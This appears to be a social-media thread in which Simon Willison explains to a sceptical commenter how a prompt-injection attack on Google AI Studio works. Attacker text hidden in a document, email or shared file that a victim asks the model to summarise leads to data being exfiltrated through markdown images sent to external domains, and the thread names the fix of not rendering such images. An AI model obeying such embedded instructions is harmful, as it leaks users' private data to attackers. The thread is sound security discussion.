Email or username:

Password:

Forgot your password?
Top-level
Colby Russell

@simon I guess I don't understand how this is an attack. The malicious prompt came from the attacker, but so did everything else. So the attacker already has access to the "exfiltrated" data, right?

Or is there some missing context here?

4 comments
Simon Willison

@colby the attack here happens when I’m using an LLM and I copy in some data (like a document) that, unbeknown to me, contains an attack - eg because I want a summary of it

Simon Willison

@colby there are a ton of ways this might happen - running LLMs against received emails, running them against content scraped from a URL, running them against Google Docs that have been shared with the user etc

Colby Russell

@simon I guess it takes some understanding of what Google AI Studio actually is and how it used.

In this case, attacker has advance notice/suspicion that victim will try to use a vulnerable IA to summarize a collection, among which is some text that attacker controls (or has crafted, at least). It's the victim preparing the ZIP, not the attacker.

Simon Willison

@colby yes, exactly - in this attack the attacker has to suspect that a victim will be feeding their attack into a larger prompt for some reason, which means it’s relatively unlikely to affect most people

It still matters though, especially when the mitigation here (don’t render markdown images to external domains) is an obvious fix

Here are the other places I’ve seen fix the same vulnerability: simonwillison.net/tags/markdow

Go Up